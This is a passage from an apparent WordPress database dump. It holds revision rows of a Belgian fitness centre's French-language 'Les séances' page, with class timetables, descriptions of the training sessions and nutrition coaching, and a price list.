santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:48:06', '2013-10-05 08:48:06', '', 11, 'http://www.crosstrainingcenter.be/11-revision-119/', 0, 'revision', '', 0),
(347, 1, '2013-10-05 08:40:45', '2013-10-05 08:40:45', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:40:45', '2013-10-05 08:40:45', '', 11, 'http://www.crosstrainingcenter.be/11-revision-118/', 0, 'revision', '', 0);
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(350, 1, '2013-10-05 08:51:08', '2013-10-05 08:51:08', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 